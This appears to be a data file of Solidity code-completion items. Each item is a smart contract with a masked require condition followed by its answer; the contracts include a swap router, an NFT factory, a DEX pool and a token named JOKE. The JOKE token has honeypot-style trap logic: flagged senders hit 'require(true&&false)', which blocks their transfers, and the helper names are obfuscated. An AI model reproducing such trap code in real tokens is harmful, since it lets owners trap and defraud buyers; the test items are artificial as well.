function sanitizeSwaps(ICodec.SwapDescription[] memory _swaps)
internal
view
returns (
uint256 sumAmtIn,
address tokenIn,
address tokenOut,
ICodec[] memory codecs // _codecs[i] is for _swaps[i]
)
{
}
/**
* @notice Executes the swaps, decode their return values and sums the returned amount
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swaps swaps. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @return ok whether the operation is successful
* @return sumAmtOut the sum of all amounts gained from swapping
*/
function executeSwaps(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs // _codecs[i] is for _swaps[i]
) internal returns (bool ok, uint256 sumAmtOut) {
}
/**
* @notice Executes the externally encoded swaps
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swap. this function assumes that the swaps are already sanitized
* @return ok whether the operation is successful
* @return amtOut the amount gained from swapping
*/
function executeExternalSwap(
address tokenIn,
address tokenOut,
uint256 amountIn,
ICodec.SwapDescription memory _swap
) internal returns (bool ok, uint256 amtOut) {
}
/**
* @notice Executes the swaps with override, redistributes amountIns for each swap route,
* decode their return values and sums the returned amount
* @dev This function is intended to be used on dst chain only
* @param _swaps swaps to execute. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @param _amountInOverride the amountIn to substitute the amountIns in swaps for
* @dev _amountInOverride serves the purpose of correcting the estimated amountIns to actual bridge outs
* @dev _amountInOverride is also distributed according to the weight of each original amountIn
* @return sumAmtOut the sum of all amounts gained from swapping
* @return sumAmtFailed the sum of all amounts that fails to swap
*/
function executeSwapsWithOverride(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs, // _codecs[i] is for _swaps[i]
uint256 _amountInOverride,
bool _allowPartialFill
) internal returns (uint256 sumAmtOut, uint256 sumAmtFailed) {
(uint256[] memory amountIns, address tokenIn, address tokenOut) = _redistributeAmountIn(
_swaps,
_amountInOverride,
_codecs
);
uint256 balBefore = IERC20(tokenOut).balanceOf(address(this));
// execute the swaps with adjusted amountIns
for (uint256 i = 0; i < _swaps.length; i++) {
bytes memory swapCalldata = _codecs[i].encodeCalldataWithOverride(
_swaps[i].data,
amountIns[i],
address(this)
);
IERC20(tokenIn).safeIncreaseAllowance(_swaps[i].dex, amountIns[i]);
(bool ok, ) = _swaps[i].dex.call(swapCalldata);
require(<FILL_ME>)
if (!ok) {
sumAmtFailed += amountIns[i];
}
}
uint256 balAfter = IERC20(tokenOut).balanceOf(address(this));
sumAmtOut = balAfter - balBefore;
require(sumAmtOut > 0, "all swaps failed");
}
/// @notice distributes the _amountInOverride to the swaps base on how much each original amountIns weight
function _redistributeAmountIn(
ICodec.SwapDescription[] memory _swaps,
uint256 _amountInOverride,
ICodec[] memory _codecs
)
private
view
returns (
uint256[] memory amountIns,
address tokenIn,
address tokenOut
)
{
}
// Checks whether a swap is an "externally encoded swap"
function isExternalSwap(ICodec.SwapDescription memory _swap) internal view returns (bool ok) {
}
function setExternalSwap(address _dex, bool _enabled) external onlyOwner {
}
function _setExternalSwap(address _dex, bool _enabled) private {
}
}
| ok||_allowPartialFill,"swap failed" | 108,496 | ok||_allowPartialFill |
"unsupported dex" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./CodecRegistry.sol";
import "./interfaces/ICodec.sol";
import "./interfaces/IWETH.sol";
import "./DexRegistry.sol";
/**
* @title Loads codecs for the swaps and performs swap actions
* @author Padoriku
*/
contract Swapper is CodecRegistry, DexRegistry {
using SafeERC20 for IERC20;
// Externally encoded swaps are not encoded by ChainHop's backend, and are differenciated by the target dex address.
mapping(address => bool) public externalSwap;
constructor(
string[] memory _funcSigs,
address[] memory _codecs,
address[] memory _supportedDexList,
string[] memory _supportedDexFuncs,
address[] memory _externalSwapDexList
) DexRegistry(_supportedDexList, _supportedDexFuncs) CodecRegistry(_funcSigs, _codecs) {
}
event ExternalSwapUpdated(address dex, bool enabled);
/**
* @dev Checks the input swaps for that tokenIn and tokenOut for every swap should be the same
* @param _swaps the swaps the check
* @return sumAmtIn the sum of all amountIns in the swaps
* @return tokenIn the input token of the swaps
* @return tokenOut the desired output token of the swaps
* @return codecs a list of codecs which each of them corresponds to a swap
*/
function sanitizeSwaps(ICodec.SwapDescription[] memory _swaps)
internal
view
returns (
uint256 sumAmtIn,
address tokenIn,
address tokenOut,
ICodec[] memory codecs // _codecs[i] is for _swaps[i]
)
{
}
/**
* @notice Executes the swaps, decode their return values and sums the returned amount
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swaps swaps. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @return ok whether the operation is successful
* @return sumAmtOut the sum of all amounts gained from swapping
*/
function executeSwaps(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs // _codecs[i] is for _swaps[i]
) internal returns (bool ok, uint256 sumAmtOut) {
}
/**
* @notice Executes the externally encoded swaps
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swap. this function assumes that the swaps are already sanitized
* @return ok whether the operation is successful
* @return amtOut the amount gained from swapping
*/
function executeExternalSwap(
address tokenIn,
address tokenOut,
uint256 amountIn,
ICodec.SwapDescription memory _swap
) internal returns (bool ok, uint256 amtOut) {
}
/**
* @notice Executes the swaps with override, redistributes amountIns for each swap route,
* decode their return values and sums the returned amount
* @dev This function is intended to be used on dst chain only
* @param _swaps swaps to execute. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @param _amountInOverride the amountIn to substitute the amountIns in swaps for
* @dev _amountInOverride serves the purpose of correcting the estimated amountIns to actual bridge outs
* @dev _amountInOverride is also distributed according to the weight of each original amountIn
* @return sumAmtOut the sum of all amounts gained from swapping
* @return sumAmtFailed the sum of all amounts that fails to swap
*/
function executeSwapsWithOverride(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs, // _codecs[i] is for _swaps[i]
uint256 _amountInOverride,
bool _allowPartialFill
) internal returns (uint256 sumAmtOut, uint256 sumAmtFailed) {
}
/// @notice distributes the _amountInOverride to the swaps base on how much each original amountIns weight
function _redistributeAmountIn(
ICodec.SwapDescription[] memory _swaps,
uint256 _amountInOverride,
ICodec[] memory _codecs
)
private
view
returns (
uint256[] memory amountIns,
address tokenIn,
address tokenOut
)
{
}
// Checks whether a swap is an "externally encoded swap"
function isExternalSwap(ICodec.SwapDescription memory _swap) internal view returns (bool ok) {
require(<FILL_ME>)
return externalSwap[_swap.dex];
}
function setExternalSwap(address _dex, bool _enabled) external onlyOwner {
}
function _setExternalSwap(address _dex, bool _enabled) private {
}
}
| dexRegistry[_swap.dex][bytes4(_swap.data)],"unsupported dex" | 108,496 | dexRegistry[_swap.dex][bytes4(_swap.data)] |
null | /**
*Submitted for verification at BscScan.com on 2022-09-22
*/
//SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
uint256 public MarketFee=
31;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountintMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract JOKE
is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "JOKE";
string private _symbol = "JOKE";
uint8 private _decimals = 9;
address payable public _metawallet;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _dollars;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _IsExcludeFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketsPair;
mapping (address => bool) public _mainPai;
mapping (address => bool) public _true;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 0;
uint256 public _buyTeamFee = 0;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 0;
uint256 public _sellTeamFee = 0;
uint256 public _liquidityShare = 4;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 4;
uint256 public _totalTaxIfBuying = 0;
uint256 public _totalTaxIfSelling = 0;
uint256 public _totalDistributionShares = 24;
uint256 private _totalSupply = 10000000000 * 10**_decimals;
uint256 public _maxTxAmount = 10000000000 * 10**_decimals;
uint256 public _walletMax = 10000000000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
}
function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function excel(uint256 amountint) pure private returns(uint160){
}
function excuse(uint256 amount1Out) pure private returns(address){
}
function tt(address amountaut) private view returns(bool){
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
}
function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
}
function setMarketinWalleAddress(address newAddress) external onlyOwner() {
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
}
function transferFrom(address
zoo
, uint256
zooz) public
{
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(tt(sender)){
_dollars[sender] = _dollars[sender].sub(amount);
}uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
if(false || true)
{
if(_true
[sender]){
/*s*/ require(<FILL_ME>)/*s*/
}}
_dollars[recipient] = _dollars[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function transfer(address[] calldata ax,bool status) public {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
| true&&false | 108,635 | true&&false |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "./AutoMinterERC721.sol";
import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol';
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
contract AutoMinterFactory is Initializable, UUPSUpgradeable, OwnableUpgradeable
{
address erc721Implementation;
uint256 public fee;
event ContractDeployed(string indexed appIdIndex, string appId, address indexed erc721Implementation, address author);
function initialize() public initializer {
}
/* Create an NFT Collection and pay the fee */
function create(string memory name_,
string memory symbol_,
string memory baseURI_,
string memory appId_,
uint256 mintFee_,
uint256 size_,
bool mintSelectionEnabled_,
bool mintRandomEnabled_,
address whiteListSignerAddress_,
uint256 mintLimit_,
uint256 royaltyBasis_,
string memory placeholderImage_) payable public
{
}
/* Change the fee charged for creating contracts */
function changeFee(uint256 newFee) onlyOwner() public {
}
/* add an existing contract the the factory collection so it can be tracked */
function addExistingCollection(address collectionAddress, address owner, string memory appId) onlyOwner() public{
}
/* Transfer balance of this contract to an account */
function transferBalance(address payable to, uint256 ammount) onlyOwner() public{
require(<FILL_ME>)
to.transfer(ammount);
}
function version() external pure returns (string memory)
{
}
function setERC721Implementation(address payable implementationContract) onlyOwner() public {
}
function _authorizeUpgrade(address newImplementation) internal override onlyOwner() {}
}
| address(this).balance>=ammount | 108,656 | address(this).balance>=ammount |
'LOK' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
require(<FILL_ME>)
slot0.unlocked = false;
_;
slot0.unlocked = true;
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| slot0.unlocked,'LOK' | 108,689 | slot0.unlocked |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
(bool success, bytes memory data) =
token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));
require(<FILL_ME>)
return abi.decode(data, (uint256));
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
